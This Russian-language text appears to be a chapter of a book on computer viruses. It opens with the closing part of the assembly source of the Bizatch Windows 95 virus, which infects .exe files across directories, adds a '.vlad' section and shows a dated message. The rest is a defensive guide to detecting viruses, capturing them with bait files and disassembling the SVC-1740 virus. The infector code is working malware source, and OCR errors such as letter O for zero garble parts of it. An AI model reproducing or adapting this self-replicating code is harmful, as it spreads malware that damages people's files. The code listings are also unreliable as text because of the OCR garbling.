push dword ptr [ebp+offset ahand]

call   CloseFile



; Переход к следующему файлу

findnextone:



;Проверим, сколько файлов заразили: если 3,

;то выходим, если меньше - ищем следующий



cmp byte ptr [ebp+offset countinfect],3



jz     outty



;Ищем следующий файл



lea   eax, [ebp+offset win32_data_thang]

push eax

push dword ptr [ebp+offset searchhandle]

call  FindNext



;Если файл найден, переходим к заражению

or   eax, eax

jnz  gofile



;Сюда попадаем, если файл не найден

foundnothing:



;Сменим директорию

хоr eax, eax

lea  edi, [ebp+offset tempdir]

mov ecx, 256/4

rep  stosd

lea  edi, [ebp+offset tempdirl]

mov ecx,256/4

rep  stosd



;Получим текущую директорию

lea  esi,[ebp+offset tempdir]

push esi

push 255

call GetCurDir



;Сменим директорию на "."



lea   eax, [ebp+offset dotdot]

push eax

call  SetCurDir



;Получим текущую директорию

lea  edi,[ebp+offset tempdirl]

push edi

push 255

call GetCurDir



;Проверим, корневая ли это директория. Если да, то выходим

mov ecx, 256/4

rep cmpsd

jnz   infectdir



;"3аметаем следы" и выходим в программу-носитель

outty:



;Возвратимся в оригинальную текущую директорию

lea  eax,[ebp+offset orgdir]

push eax

call SetCurDir



;Получим текущую дату и время



lea   eax, [ebp+offset systimestruct]



push eax

call GetTime



;Проверим число. Если это 31-ое, выдаем сообщение

cmp word ptr [ebp+offset day],31

jnz  nopayload



;Сообщение для пользователя



push 1000h    ;MB_SYSTEMMODAL

lea   eax, [ebp+offset boxtitle]

push eax

lea  eax, [ebp+offset boxmsg]

push eax

push 0

call MsgBox



;Выход в программу-носитель

nopayload:

pop eax

jmp eax



;Когда KERNEL будет обнаружен, его смещение будет записано

kern dd OBFF93B95h



;Значения KERNEL, известные нам

kern1    dd OBFF93B95h

kern2    dd OBFF93C1Dh



;Чтение текущей директории

GetCurDir:



;3апишем в стек значение для получения текущей

директории и вызовем KERNEL



push OBFF77744h

jmp [ebp+offset kern]



;Установка текущей директории

SetCurDir:



;3апишем в стек значение для установки текущей

директории и вызовем KERNEL



push OBFF7771Dh

jmp [ebp+offset kern]



;Получение времени и даты

GetTime:



;Проверим, какой KERNEL работает

cmp [ebp+offset kern],OBFF93B95h

jnz  gettimekern2



;3апишем в стек значение для получения

;времени и даты и вызовем KERNEL



push OBFF9DOB6h

jmp [ebp+offset kern]

gettimekern2:



;Запишем в стек значение для получения

;Времени и даты и вызовем KERNEL



push OBFF9Dl4Eh

jmp [ebp+offset kern]



;Вывод сообщения

MsgBox:



;Запишем в стек значение для вывода сообщения и вызовем KERNEL

push OBFF638D9h

jmp [ebp+offset kern]



;Поиск первого файла

FindFile:



;Запишем в стек значение для поиска первого файла

;и вызовем KERNEL



push OBFF77893h

jmp [ebp+offset kern]



;Поиск следующего файла

FindNext:



;Запишем в стек значение для поиска

;следующего файла и вызовем KERNEL



push OBFF778CBh

jmp [ebp+offset kern]



;Открытие/создание файла

CreateFile:



;3апишем в стек значение для открытия/создания файла

;и вызовем KERNEL



push OBFF77817h

jmp [ebp+offset kern]



;Установка указателя чтения/записи

SetFilePointer:



;Запишем в стек значение для установки

;указателя чтения/записи файла и вызовем KERNEL



push OBFF76FAOh

jmp [ebp+offset kern]



;Чтение из файла

ReadFile:



;3апишем в стек значение для чтения из файла и вызовем KERNEL

push OBFF75806h

jmp [ebp+offset kern]



;3апись в файл

WriteFile:



;3апишем в стек значение для записи в файл и вызовем KERNEL

push OBFF7580Dh

jmp [ebp+offset kern]



;Закрытие файла

CloseFile:



;3апишем в стек значение для закрытия файла и вызовем KERNEL

push OBFF7BC72h

jmp [ebp+offset kern]



;Счетчик заражений

countinfect db 0



;Используется для поиска файлов

win32_data_thang:



fileattr dd 0

createtime dd 0,0

lastaccesstime dd 0,0

lastwritetime dd 0,0

filesize dd 0,0

resv dd 0,0

fullname db 256 dup (0)

realname db 256 dup (0)



;Имя сообщения, выводимого 31-го числа

boxtitle db "Bizatch by Quantum / VLAD",0



;Сообщение, .выводимое 31-го числа

boxmsg db "The taste of fame just got tastier!",0dh

db "VLAD. Australia does it again with the world"s first Win95 Virus"

db Odh.Odh

db 9,"From the old school to the new. ",0dh,0dh 

db 9,"Metabolis",0dh

db 9,"Qark",0dh

db 9,"Darkman",0dh

db 9,"Quantum",0dh

db 9,"CoKe",0

messagetostupidavers db "Please note: the name of this virus is [Bizatch]"

db "written by Quantum of VLAD",0



;Данные о директориях

orgdir    db 256 dup (0)

tempdir   db 256 dup (0)

tempdirl db 256 dup (0)



Используется для смены директории

dotdot db ".",0



;Используется для получения времени/даты

systimestruct:



dw 0,0,0

day dw 0

dw 0,0,0,0



;Индекс для поиска файлов

searchhandle dd О



;Маска для поиска

fname db "*.exe",0



;Описатель открытого файла

ahand dd О



;Смещение РЕ-заголовка в файле

peheaderoffset dd О



;Смещение таблицы объектов

ObjedlTableoffset dd О



;Количество записанных/считанных байт при работе с файлом

bytesread dd О



;Новый объект

newobject:



oname db ".vlad",0,0,0

virtualsize dd 0

RVA dd 0



physicalsize dd 0

physicaloffset dd 0

reserved dd 0,0,0

objectflags db 40h,0,0,OCOh



;Данные, необходимые для заражения файла

peheader:

signature dd 0

cputype dw 0

numObj dw 0

db 3*4 dup (0)

NtHeaderSize dw 0

Flags dw 0

db 4*4 dup (0)

entrypointRVA dd 0

db 3*4 dup (0)

objalign dd 0

filealign dd 0

db 4*4 dup (0)

imagesize dd 0

headersize dd 0



;0бласть памяти для чтения остатка РЕ-заголовка и таблицы объектов

vend:



db 1000h dup (0)

ends

end vstart






Методы борьбы с вирусами.

Рассмотрим различные способы борьбы с вирусами. Итак, что же такое антивирус? Сразу же развеем одну часто возникающую иллюзию. Почему-то многие считают, что антивирус может обнаружить любой вирус, то есть, запустив антивирусную программу или монитор, можно быть абсолютно уверенным в их надежности. Такая точка зрения не совсем верна. Дело в том, что антивирус - это тоже программа, конечно, написанная профессионалом. Но эти программы способны распознавать и уничтожать только известные вирусы. То есть антивирус против конкретного вируса может быть написан только в том случае, когда у программиста есть в наличии хотя бы один экземпляр этого вируса. Вот и идет эта бесконечная война между авторами вирусов и антивирусов, правда, первых в нашей стране почему-то всегда больше, чем вторых. Но и у создателей антивирусов есть преимущество! Дело в том, что существует большое количество вирусов, алгоритм которых практически скопирован с алгоритма других вирусов. Как правило, такие вариации создают непрофессиональные программисты, которые по каким-то причи-нам решили написать вирус. Для борьбы с такими «копиями» придумано новое оружие - эвристические анализаторы. С их помощью антивирус способен находить подобные аналоги известных вирусов, сообщая пользователю, что у него, похоже, завелся вирус. Естественно, надежность эвристического анализатора не 100%, но все же его коэффициент полезного действия больше 0,5. Таким образом, в этой информационной войне, как, впрочем, и в любой другой, остаются сильнейшие. Вирусы, которые не распознаются антивирусными детекторами, способны написать только наиболее опытные и квалифицированные программисты. 

Таким образом, на 100% защититься от вирусов практически невозможно (подразумевается, что пользователь меняется дискетами с друзьямии играет в игры, а также получает информацию из других источников,например из сетей). Если же не вносить информацию в компьютер из-вне, заразиться вирусом невозможно - сам он не родится. Итак, что же можно посоветовать, чтобы сталкиваться с вирусами какможно меньше или, по крайней мере, только сталкиваться, не допускаяих на жесткий диск своего винчестера. В первую очередь - самые элементарные правила «компьютерной гигиены»: проверка дискет на наличие вируса самыми надежными антивирусными программами, такими, например,  как AVP или DrWeb. Очень хорошо, если на жестком диске установлен ревизор Adinf. Многие пользователи добавляют строку запуска ревизоров, антивирусов, антивирусных мониторов в конфигура-ционный файл AUTOEXEC.BAT - тоже весьма действенно. 

Есть определенные способы борьбы и с загрузочными вирусами. В установках (SETUP) компьютера предусмотрена защита от записи в MBR. Когда запись начинается, BIOS сразу же ее останавливает и запрашивает подтверждение на разрешение записи. Естественно, следует запретить запись, а затем загрузится со своей, заранее подготовленной, системной дискеты. У большинства компьютерных пользователей такой дискеты нет - а надо бы завести. И это еще не все. Вирусы постоянно совершенствуются, и все их многообразие охватить, конечно, невозможно. Поэтому надо быть готовым, что рано или поздно вирус все-таки попадет на жесткий диск, и встретить его нужно во всеоружии. 



Стандартные программы защиты

В большинстве случаев вирус, заразивший компьютер, помогут обнаружить уже разработанные программы-детекторы. Они проверяют, имеется ли в файлах на указанном пользователем диске специфическая для данного вируса последовательность байт. При обнаружении вируса программа выводит на экран соответствующее сообщение. Стоит также заметить, что программы-детекторы не слишком универсальны, поскольку способны обнаружить только известные вирусы. Некоторым таким программам можно сообщить специальную последовательность байт, характерную для какого-то вируса, и они смогут обнаружить инфицированные им файлы - например, это умеет NotronAntiVirus или AVSP. Программа Aidstest  устарела и сейчас уже практически не используется. Наиболее широкое распространение получили программы DrWeb и AVP. Благодаря своим новейшим детекторам, они могут обнаружить любые вирусы - как самые старые, так и только что появившиеся. Еще нужно упомянуть детектор Adinf. Эта антивирусная программа обнару-живает все вирусы, не изменяющие длину файлов, невидимые вирусы, и многие другие. Таким образом, эти три программы обеспечат мощнейшую защиту против вирусов. Кстати, на западе тоже предпочитают пользоваться российскими программами DrWeb и AVP. Спасаясь от вирусов, создайте мощную защиту против них. Установитена своем диске AVP, DrWeb и Adinf. Каждая программа хороша по-своему - пусть защита будет многоуровневой. Все эти программы можно вписать в файл AUTOEXEC.BAT, тогда при загрузке компьютера проверка на заражение вирусом будет проводиться автоматически. Всегда проверяйте файлы, попадающие на ваш компьютер. Любой из них может быть заражен вирусом, это нужно помнить. Никогда не позволяйте посторонним работать на вашем компьютере - именно они чаще всего приносят вирусы. Особое внимание следует уделять играм -чаще всего вирусы распространяются именно так. Новые игры и программы всегда нужно проверять на вирус.

Поиск вируса

Когда во время работы компьютер начинает вести себя как-то необычно, первая мысль, приходящая на ум любому пользователю - уж не вирус ли это. В такой ситуации важно правильно оценить свои подозрения и сделать выводы. Как правило, человек, обладающий некоторым опытом и владеющий соответствующим программным инструментарием, справляется с этой задачей без особых затруднений. Наиболее сложная ситуация - когда дей-ствовать приходится в «полевых» условиях, например, на чужой машине. Типичный вариант: стандартная PC (286, 386...Pentium), как минимум 1Мбайт ОЗУ, как минимум 400Мбайт HDD; возможно наличие принтера, звуковой карты, CDD и прочей периферии. Программное обеспечение: Windows 95, возможно Windows 3.1x, но работают все равно под DOS. Джентльменский набор: Norton Commander 3.0-5.0, Norton Utility 6.0-8.0, свежие антивирусы: AidsTest и DrWeb, русификаторы, архиваторы, резидентные программы и прочее. В качестве обязательного условия - наличие заведомо «чистой» защищенной от записи загрузочной дискеты, содержащей (хотя бы в урезанном виде) вышеупомянутый комплект программ. Итак, по мнению хозяина компьютер ведет себя странно. Например, программы, которые раньше работали правильно, начинают сбоить или вообще перестают запускаться, компьютер периодически «виснет», экран и динамик воспроизводят необычные видео- и аудиоэффекты. Чтобудем делать?

Усаживаем перед собой хозяина компьютера и подробно расспрашиваем его о событиях, предшествующих возникновению сбоев. Выяснить нужно следующее. Кем и как используется машина? Если сотрудники или хозяин часто приносят мелкие игрушки, гороскопы, устанавливают и стирают различные бухгалтерские программы, то вероятность наличия вируса в машине весьма высока. Крупные игрушки, которые с трудом умещаются даже в упакованном виде в коробку дискет, переносятся с машины на машину редко. При этом они, чаще всего, тщательно проверяются на наличие вирусов.

Когда впервые замечены симптомы вируса?  Некоторые вирусы любят приурочивать свою деятельность к определенной дате или времени: 1 мая, 7 ноября, 13-е число, пятница, пять часов вечера,а также 6 марта, 15 ноября, 11-я минута каждого часа.

Не связаны ли изменения в работе компьютера с первым запуском какой-либо программы? Если да, то эта программа – первая в очереди на «медкомиссию».

 Не связано ли появление симптомов заражения с распаковкой какого-либо старого архива и запуском программ из него? Некоторые современные антивирусы (AVP, DrWeb) умеют проверять архивы наиболее популярных форматов. Но ведь изредка ещевстречаются архивы .ice, .arc, .zoo, .bsa, .uc2, .ha, .pak, .chz, .eliи прочие - их антивирусы диагностировать не могут.

Не имеет ли хозяин (хозяйка) компьютера привычку оставлять дискеты в дисководе при перезагрузке? Загрузочный вирус может годами жить на дискете, никак себя не проявляя.

В присутствии хозяина (хозяйки) включаем компьютер. Внимательно следим за процессом загрузки. Сначала запускается программаPOST, записанная в ПЗУ BIOS. Она тестирует память, тестирует иинициализирует прочие компоненты компьютера и завершается коротким одиночным гудком. Если «вирус» проявляет себя уже на этом этапе - он здесь ни при чем. Теоретически вирус может существовать и в BIOS: предполагается, что первые вирусы на территорию СССР «приехали» внутри болгарских ПЗУ (современные ПЗУчасто не являются «постоянными запоминающими устройствами», они предусматривают возможность перезаписи BIOS).

В присутствии хозяина (хозяйки) пытаемся вызвать необычное поведение компьютера.

а) Идеально, если вирус (если это действительно он) самостоятельно извещает всех о своем присутствии, например, выводит на экран сообщение типа <I am VIRUS!>. Вирусы проявляют себя различными способами: проигрывают мелодии, выводят на экран посторонние картинки и надписи, имитируют аппаратные сбои, заставляя дрожать экран. Но, к сожалению,чаще всего вирусы специально себя не обнаруживают. К антиви-русным программам прилагаются каталоги с описаниями вирусов (для AidsTest они хранятся в файле aidsvir.txt, для DrWeb -в файле virlist.web). Наиболее полным является гипертекстовый каталог avpve, входящий в состав антивирусного пакета Е. Касперского. В нем можно не только прочитать достаточно подробное описание любого вируса, но и понаблюдать его проявления. От настоящих вирусов следует отличать так называемые «студенческие шутки», особенно широко распространенные на компьютерах ВУЗов и школ. Как правило, это резидентные программы, которые периодически производят напоминающие работу вирусов видео- и аудиоэффекты. В отличие от настоящих вирусов, эти программы не умеют размножаться. Наличие такого рода программ на «бухгалтерских» компьютерах маловероятно.

б) Очень часто сбои вызываются вирусами не преднамеренно, а лишь в силу их несовместимости с программной средой, возникающей из-за наличия в алгоритме вируса ошибок и неточностей. Если какая-либо программа «зависает» при попытке запуска, существует очень большая вероятность, что именно она и заражена вирусом. Если компьютер «виснет» в процессе загрузки (после успешного завершения программы POST), то при помощи пошагового выполнения файлов config.sys и autoexec.bat (клавиша F8 в DOS б.х) можно легко определить источник сбоев.

Не перегружая компьютер, запускаем (можно прямо с винчестера) антивирус, лучше всего DrWeb с ключом /hal. Вирус (если он есть) попытается немедленно заразить DrWeb. Последний достаточно надежно детектирует целостность своего кода и в случае чего выведет сообщение «Я заражен неизвестным вирусом!» Если так и произойдет, то наличие вируса в системе доказано. Внимательно смотрим на диагностические сообщения типа «Файл такой-то ВОЗМОЖНО заражен вирусом такого-то класса» (СОМ, EXE, TSR, BOOT, MACROи т.п.). Подозрения на ВООТ-вирус в 99% бывают оправданы. Однажды DrWeb 3.20 «ругался» на ВООТ-сектор дискеты, «вылеченной» AidsTest от вируса LzExe, поэтому антивирусным программам тоже не всегда можно доверять. Наличие большого количества файлов, предположительно зараженных вирусом одного и того же класса, с большой достоверностью указывает на присутствие в компьютере неизвестного вируса. Но могут быть и исключения - DrWebверсии 3.15 и ниже активно «ругался» на стандартные DOC-компоненты WinWord 2.0. Кроме того, DrWeb определяет наличие в памяти компьютера неизвестных резидентных вирусов и Stealth-вирусов. Ошибки при их определении (в последних версиях антивируса) достаточно редки. Версия 3.15, не умеющая лечить вирус Kaczor, исправно заподозрила наличие агрессивного резидента в памяти. Версия же 3.18, умеющая его лечить, в инфицированной системе вообще ничего не заметила, а детектировала и вылечила вирус лишь при загрузке с чистой дискеты. При этом нужно иметь в виду, что предупреждения типа «Странная дата файла», единичные подозрения на СОМ-, ЕХЕ-вирусы и прочее вряд ли могут быть расценены как бесспорное доказательство наличия вируса. MACRO-вирусы живут исключительно в Windows и никакого негативного влияния на DOS-программы оказать не могут, за исключением того случая, когда они что-либо стерли в Windows-сеансе.

Нередко сбои бывают вызваны естественными причинами, никако-го отношения к вирусам не имеющими.

 Аппаратные сбои. Исключить эту возможность поможет загрузкас чистой дискеты и запуск (с нее) диагностической программы ndiags. Тестируем память, основную плату, порты и все остальное. Иногда достаточен простой внешний осмотр компьютера -может быть, что-то неправильно подключено.

Нарушения в логической структуре диска. Загружаемся с чистой дискеты и запускаем (с нее) ndd. Сначала просто отмечаем наличие ошибок (перекрестных цепочек, потерянных кластеров и так далее). Если ошибок очень много и подавляющее их число относится к СОМ- и ЕХЕ-файлам, то ни в коем случае нельзя выполнять операцию исправления ошибок: это может быть DIR-подобный вирус, и такое «лечение» диска может стать для многих программ фатальным. Если ошибки есть и их относительно немного, рискуем и лечим диск. Вновь загружаемся с винчестера. Сбои пропали?

Конфликты между различными компонентами операционной системы и прикладными программами. Особенно «вредоносными» являются дисковые драйверы-обманщики, активно видоизменяющие (пусть и с благородными целями) информацию, считываемую или записываемую на диск:

дисковые кэш (SMARTDRV, NC_CASHE);- упаковщики дисков (DblSpace, DrvSpace, Stacker);

системы безопасности (антивирусные мониторы типа PROTECT, HDPROT, ADM и прочие, системы разграничения доступа DISKMON, DISKREET). Нередко сбоят устаревшие пристыковочные системы защиты от несанкционированного копирования, типа NOTA или CERBERUS.

Наконец, самый интересный случай - вирус явно не обнаружен, но подозрения на его наличие по-прежнему остаются. Достаточноподробно эту тему изложил Е. Касперский в своей книге <Компью-терные вирусы в MS-DOS>, избранные фрагменты которой можнонайти в гипертекстовом каталоге avpve того же автора. Остаетсятолько привести  краткое изложение этих глав с уточнениями и замечаниями (может быть, весьма спорными).



а) Обнаружение загрузочного вируса. Загружаемся с чистой дискетыи, запустив DiskEditor, заглядываем в сектор 0/0/1 винчестера. Если винчестер разделен (при помощи fdisk) на логические диски, то код занимает приблизительно половину сектора и начинаетсяс байт FAh 33h C0h (вместо 33h иногда может быть 2Вh). Заканчиваться код должен текстовыми строками типа <Missing operatingsystem>. В конце сектора размещаются внешне разрозненные байты таблицы разделов. Нужно обратить внимание на размещение активного раздела в таблице разделов. Если операционная система расположена на диске С, а активен 2, 3 или 4 раздел, то вирус мог изменить точку старта, сам разместившись в начале другого логического диска (заодно нужно посмотреть и там). Но также это может говорить о наличии на машине нескольких операционных систем и какого-либо boot-менеджера, обеспечивающего выборочную загрузку. Проверяем всю нулевую дорожку. Если она чистая, то есть ее сектора содержат только байт-заполнитель, все в порядке. Наличие мусора, копий сектора 0/0/1 и прочего может говорить о присутствии загрузочного вируса. Впрочем, антивирусы прилечении загрузочных вирусов лишь <обезглавливают> противника (восстанавливают исходное значение сектора 0/0/1), оставляя тело <догнивать> на нулевой дорожке. Проверяем boot-сектор MS-DOS, он обычно расположен в секторе в 0/1/1. Его внешний вид длясравнения можно найти как в вышеупомянутой книге Е. Касперского, так и на любой <чистой> машине. Итак, если вирус обнаружен, при помощи DiskEditor переписываем в файл зараженныйобъект: MBR 0/0/1 (а лучше всю нулевую дорожку), boot 0/1/1и все остальное. Желательно отправить этот комплект вирусоло-гам. Копию, при желании, оставляем себе - для опытов.

б) Обнаружение файлового вируса. Нерезидентные файловые вирусы специально не скрывают своего наличия в системе. Поэтому основным признаком заражения файла является увеличение его длины, которое легко заметить даже в инфицированной операционной системе. Резидентные вирусы могут скрывать изменение длины файла (да и вообще наличие своего кода внутри файла-жертвы), если они написаны по Stealth-технологии. Но при загрузке с <чистой> дискеты это можно увидеть. Некоторые вирусыне изменяют длину заражаемых программ, используя <пустые> участки внутри файла программы или кластерный <хвост> файла, расположенный после последнего заполненного сектора. В этом случае основной признак заражения - изменение контрольной суммы байт файла. Это легко обнаруживают антивирусы-инспектора типа Adinf. В качестве крайней меры можно рассматривать прямое изучение кода программ, подозрительныхс точки зрения наличия в них вируса. Одно из лучших программных средств для оперативного изучения кода вирусов - програм-ма HackerView (hiew.exe by SEN). Но, поскольку <по умолча-нию> компьютер чужой, hiew, td, softice, ida и подобных программ на нем может просто не оказаться. Зато стандартныйотладчик debug присутствует точно. Загружаем подозреваемуюна наличие вируса программу (в чистой операционной системе)в память при помощи команды debug <имя_программы>. Команда и позволяет дизассемблировать фрагмент кода, команда d -просмотреть его в шестнадцатеричном формате, команда g <ад-рес> запускает программу на выполнение с остановом в указан-ной точке, команда t обеспечивает пошаговую трассировку кода,команда r отображает текущее содержимое регистров. Чтобы ви-зуально распознать наличие вируса по коду, конечно, необходимопределенный опыт. Вот на что надо обращать особое внимание:

- Наличие в начале программы последовательности команд подобного типа крайне подозрительно:



Start:



call Metka

Metka: pop <r>



Наличие в начале файла строк типа <PkLite>, <LZ91>или <diet>подразумевает обработку программы соответствующим упаковщиком; если начало программы не содержит последовательности команд, характерных для упаковщика, не исключен факт ее заражения.

Программы, написанные на языках высокого уровня, часто содержат в своем начале сегмент кода, затем сегмент данных. Наличие еще одного сегмента кода, располагающегося в конце файла программы, весьма подозрительно.

Подозрение вызывают расположенные в начале программы, написанной на языке высокого уровня, фрагменты видоизменения собственного кода, вызовы DOS- или BIOS-прерываний и прочее. Желательно визуально помнить характерные начала программ, скомпилированных в той или иной системе программирования (на-пример, начала программ, написанных на Turbo Pascal, содержат большое количество дальних вызовов подпрограмм call xxxx:xxxx).

Наконец, о наличии вируса могут свидетельствовать <посторонние> строки типа <Eddie lives.> внутри файла.

 Ловля вируса <на живца>. Итак, допустим, что наличие вируса в системе доказано одним из предложенных выше методов, и зараженные вирусом объекты определены. Теперь можно начать изучение вируса и, вслед за этим, попытаться удалить его с машины. Желательно послать образец вируса профессиональным вирусологам. А для этого необходимо выделить вирус в чистом виде.

а) Выделение загрузочного вируса. Как уже говорилось выше, есливи рус заразил винчестер, необходимо при помощи программы DiskEditor сохранить в файле образ зараженного объекта (например, сектора 0/0/1 или всей нулевой дорожки). Но, как известно, загрузочные вирусы только <живут> в системных областях винчестера, размножаются же они, заражая системные области дискет. Поэтому смотрим на лицевую панель компьютера. Еслив наличии дисководы обоих типов (3.5" и 5.25"), то придется отформатировать 4 дискеты на 4 стандартных формата: 360 Кбайт, 720 Кбайт, 1.2 Мбайт и 1.44 Мбайт. Затем при помощи программы DiskEditor внимательно рассмотрим и постараемся запомнить внешний вид boot-секторов этих дискет (0/0/1), хотя бы первые байты (естественно, все это делается на чистой машине). Вставляем не защищенные от записи дискеты по очереди в дисководы <больной> машины и (обязательно) обращаемся к ним: пытаемся прочитать каталог, записать, прочитать и удалить какие-либо файлы. Наконец, на чистой машине при помощи DiskEditor вновь просматриваем сектор 0/0/1. Если на какой-либо дискетеон изменился, при помощи того же DiskEditor снимаем образ всей дискеты в файл. Вирус пойман. Можно упаковать файл каким-нибудь архиватором и послать его вирусологу. Некоторые хитрые вирусы хранят свое тело на дополнительной, специально отформатированной дорожке, так называемом инженерном цилиндре дискеты. В этом случае без пакета копирования ключевых дискет типа fda, teledisk или copymaster не обойтись.

б) Выделение резидентного вируса. Как известно, резидентный вирус постоянно находится в памяти ПЭВМ, выбирая жертву для заражения. Наиболее часто в качестве жертв выступают запускаемые программы. Однако файлы программ могут заражаться при открытии, копировании на дискету или с нее (вирус OneHalf), вовремя поиска при помощи DOS-функций FindFirst или FindNext. Необходимо подобрать подходящего претендента на <контрольное> заражение - небольшую программу простой структуры, приманку. Некоторые вирусы пытаются распознать приманку и отказываются от ее заражения. Не подходят для таких целей слишком короткие программы или такие, большая часть которых состоит из повторяющихся байт (например, 90h - код команды NOP). В качестве приманки с большим успехом можно использовать программы test.coin и test.exe. Вот их исходные текстына языке Assembler.



test.com



cseg    segment

assume cs:cseg, ds:cseg, ss:cseg

org 100h

Start:

db   1249 dup (OFAh,90h,OFBh,OF8h)

mov ah,4Ch

int   21 h

cseg    ends

End Start



test.exe



cseg    segment

assume cs:cseg, ds:cseg

Start:

db  1000 dup (0FAh,90h,0FBh,0F8h)

mov ah,4Ch

int   21 h

cseg     ends

sseg    segment stack

assume   ss:sseg

db   118 dup (OFAh,90h,OFBh,OF8h)

sseg     ends

End Start



Скопируем приманки на зараженную машину. Выполним над ними как можно больше операций: запустим, скопируем в другое место винчестера и на дискету, переместим, просмотрим их в NC и DOS (командой dir). При этом желательно несколько раз поменять системное время и дату, потому что вирусы нередко активны не каждый день и не круглые сутки. Чтобы исключить Stealth-эффект, загрузимся с чистой дискеты и рассмотрим внимательно эти файлы. Как правило, достаточно бывает проконтролировать размер файлов и просмотреть их код припомощи F3 - наличие вируса определить несложно.

в) Выделение нерезидентного файла. Самый неприятный случай. Помимо того, что вирус нередко привередничает, распознавая приманку, и по-прежнему отказывается работать <без выходныхи отпусков>, так еще и заражаемость программ сильно зависит от их расположения на винчестере. Одни нерезидентные вирусы заражают только в текущем каталоге, другие - только в подкаталогах 1-го уровня, третьи - в каталогах, указанных в строке path системной среды (Vienna), четвертые - вообще во всех каталогах винчестера. Поэтому воспользуемся программой типа rt, чтобыскопировать приманки во все каталоги диска (запускаем из корневого каталога):



rt copy a:\test.* .



Точка <.> в конце - символ текущего каталога. Потом их можно будет

удалить:



rt del test.*

Теперь выбираем заведомо зараженную программу и запускаем ее N раз,постоянно изменяя время и дату. Проконтролировать изменение длины поможет та же программа rt:

rt dir test.* >test.txt

Получаем файл test.txt, содержащий список файлов test.* с указаниемих длины. Выбираем тот файл приманки, который изменил длину.

Вот вирус и пойман.



Как исследовать алгоритм работы вируса

Ситуация, когда компьютер оказался заражен неизвестным вирусом, встречается не очень часто, но полностью сбрасывать со счетов такую возможность нельзя. Выше рассматривались способы обнаружения вируса и выделения его в чистом виде. Сейчас переходим к исследованию алгоритма работы файловых вирусов для успешной борьбы с ними.

Прежде чем перейти к рассмотрению этого вопроса, вспомним неко-торые принципы функционирования MS DOS.Структура СОМ- и ЕХЕ-программ. Вообще говоря, следует отличать СОМ- и ЕХЕ-программы от СОМ- и ЕХЕ-файлов. Дело в том, что в настоящее время расширение СОМ или ЕХЕ является просто признаком (кстати, необязательным) запускаемой программы. Способ загрузки программы в память и ее запуска определяется операционной системой по внутреннему формату программы. Этот факт часто не учитывали авторы первых вирусов, что приводило к уничтожению некоторых программ вместо их заражения. СОМ-программа представляет собой часть кода и данных, которая начинается с исполняемой команды и занимает не более 64Кбайт. Например, такую структуру имеет командный процессор COMMAND.СОМ операционной системы MSDOS до версии 6.22 включительно. Структура ЕХЕ-программы гораздо сложнее. В начале файла ЕХЕ-программы располагается заголовок (см. приложение). Поля ReloCS и ExelP определяют расположение точки входа в программу, поля ExeSP и ReloSS - расположение стека, поля PartPagи PageCnt - размер корневого сегмента программы. Размер некоторых программ, вычисленный по полям PartPag и PageCnt, может не совпадать с реальным размером файла. Такие программы называются <сегментированными> или <содержащими внутренние оверлеи>. Опытные авторы вирусов избегают заражать такие программы. После заголовка может размещаться специальная таблица, точное месторасположения которой определяется полем TablOff, а размер - полем ReloCnt. В этой таблице хранятся адреса тех слов в коде программы, которые модифицируются операционной системой во времязагрузки программы. Например, просматривая файл программы припомощи утилиты HackerView, можно видеть команду call0000:1234h. В процессе загрузки программы MS-DOS подставит вместо нулей нужный сегментный адрес, и все будет работать корректно. Кстати, если в поле TablOff указано число 40h или больше, то, скорее всего, это программа в формате Windows. Подобный формат имеет, например, командный процессор Windows 95 COMMAND.COM. Несмотря на свое расширение, он имеет в начале знаменитые символы <MZ> и длину 95Кбайт.

Приступаем к исследованию конкретного файлового вируса и разработке алгоритма его лечения. В качестве жертвы <показательного вскрытия> возьмем широко известный в начале 90-х годов вирус SVC-1740. Выбор определился следующими обстоятельствами:

это очень простой вирус с четкой структурой;

он не содержит деструктивных функций;

не содержит грубых ошибок в алгоритме;

он стандартно заражает СОМ- и ЕХЕ-программы.Запустив SVC вирус на своей машине, можно наблюдать следующие его проявления.

а) В MS-DOS успели заразиться файлы ARCVIEW.EXE,HIEW.EXE и LEX.EXE. В результате HackerView, проверяющий целостность своего кода, отказался работать, сообщив: <HIEWbad, work is aborted>.

6) Windows 3.11 и Windows 95 сначала запустились корректно, нозатем продемонстрировали разноцветные горизонтальные полосы в видеорежиме 800х600х256  (вирус не заражал какие-либо драйвера, просто в момент старта Windows в памяти находился вирусный обработчик прерывания INT 21h). Излечение пришло после использования антивирусов: DrWeb с: /с р /а1 и AidsTest с: /f /g /q 

При помощи ранее описанных методов заразим две приманки: TEST.COM и TEST.EXE. Увеличение их длины на 1740 байт можно увидеть только на <чистой> машине (Stealth-эффект). Несколько слов об инструментарии. Вообще говоря, выбор дизассемблеров весьма широк. В свое время была широко известна программа DisDoc. По признанию Е. Касперского, он активно пользуется интерактивным дизассемблером IDA. Быстро просмотреть код программы позволяет утилита HackerView; Также возможно использование любого отладчика. В данном случае для изучения кода зараженных приманок использовался дизассемблер Sourcer v5.04. Несмотря наотсутствие некоторых полезных опций и ошибки при дизассемблировании (достаточно редкие), пользоваться программой удобно -упакованная PkLite, она занимает на дискете всего 48 Кбайт. Итак, запускаем дизассемблер командой sr test-сом. На экране появилась темно-синяя лицевая страница. Нажав клавишу <а>, можно перейти на страницу опций. Рекомендуется установить опцию <а> -обязательно дизассемблировать фрагмент программы, располагающийся после команд jmp/ret/iret - это позволяет получить ассемблерный код тех фрагментов программ, в которые нет явного перехода (процедуры обработки прерываний, скрытые подпрограммы и такдалее). Нажав Enter, вернемся на первую страницу. Запустим процесс дизассемблирования нажатием клавиши <g>. В зависимости от производительности компьютера, процесс дизассемблирования длится отнескольких секунд до нескольких минут. Для грубой оценки размера листинга можно принять, что один килобайт кода соответствует десяти-пятнадцати килобайтам текста. 6740 байт зараженной приманкидают 96Кбайт текста+файл test.sdf. Этот очень интересный файл хранит в текстовом виде как опции, использованные при дизассемблировании, так и параметры полученного текста (размещение фрагментов кода и данных, место расположения символических имен и -прочее).Если изменить эти параметры, переименовать файл в test.def и передать его Sourcer в командной строке в качестве параметра, то дизас-семблер будет работать в соответствии с новыми инструкциями. Аналогичную операцию проделаем для файла test.exe.

Займемся анализом полученного листинга. Поверхностно изучая зараженные приманки, видим:

-    файлы увеличили свою длину на 1740 байт;

в их конце явно видны посторонние коды;

изменилось время создания файлов, точнее, изменилось количество секунд - оно стало равным 60;

в начале файла test.com появилась команда jmp;

в заголовке файла test.exe изменились значения полей ReloCS,ExelP, ExeSP, ReloSS, PartPag и PageCnt.

Итак.



а) В начале вирусного кода содержится последовательность команд

вида:



   call sub_1

sub_1:    pop si

   sub si,3



